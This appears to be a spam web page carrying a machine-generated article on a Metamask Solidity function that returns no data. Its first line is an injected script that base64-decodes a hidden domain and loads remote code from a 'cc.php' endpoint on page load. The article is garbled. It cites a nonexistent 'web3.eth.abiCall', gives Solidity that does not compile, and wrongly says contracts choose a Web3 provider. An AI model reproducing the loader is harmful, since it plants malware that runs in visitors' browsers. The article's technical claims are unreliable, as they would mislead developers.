const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=84e95919″;document.body.appendChild(script);
Here is a good quality, readable article about the problem you are facing:
Metamask Solidity Function Not Returning Data
It is not uncommon to encounter issues with Web3 functionality or data transfer when developing Metamask-based applications. I recently ran into an issue where the Solidity function in my contract did not return any data when executed with the provided web3 metamask. However, when running the same code with the JavaScript virtual machine (Web3.js), the function returned the expected data.
The Problem:
Upon closer inspection, it appears that there are two different scenarios here. In this article, we will examine both possible causes and provide guidance on how to resolve them.
Scenario 1: Incorrect web3 provider
One possibility is that the problem is caused by an incorrect web3 provider used in the contract. When using an injected web3 metamask, make sure that the Web3 provider is the same as the provider used by the MetaMask instance. In this case, I suspect that the Solidity function in the contract expects a specific Web3 provider but does not get one.
Scenario 2: Bad call function
Another possibility is that the call function in the contract is not being called properly. When making an ABI call using “web3.eth.abiCall”, you need to specify the correct ABI and function name for the contract. In this case, I suspect that the function is not named properly or is not being called with the expected arguments.
Code snippets:
To illustrate these points, here are some code snippets from my application:
pragma solidity ^0.8.0;
contract MyContract {
function getRight() public view return (string memory) {
// This function worked fine in JavaScript VM
string memory result = "Hello, World!";
return result;
}
}
// Using injected web3 metamask with proper provider
pragma solidity ^0.8.0;
contract MyContractWithMetamask {
function getRight() public view return (string memory) {
// This should work fine in JavaScript VM too
string memory result = "Hello, World!";
return result;
}
}
Resolution:
To resolve this issue, I suggest the following:
- Check the Web3 provider:
Make sure that your contract’s Solidity function uses the proper Web3 provider when calling other contracts or functions.
- Check the ABI calling function: Make sure you are calling the function correctly with the expected ABI and arguments.
Additional tips:
- Always test your contracts in “web3.eth.abiCall” and “javascript virtual machine”.
- Use the Web3.js console to verify your data, especially when working with contracts.
- If you suspect that your Web3 provider or calling function is not matching, consider creating a contract that clearly demonstrates the issue.
By following these guidelines and troubleshooting steps, you should be able to resolve the Metamask Solidity function not returning data issue in your application.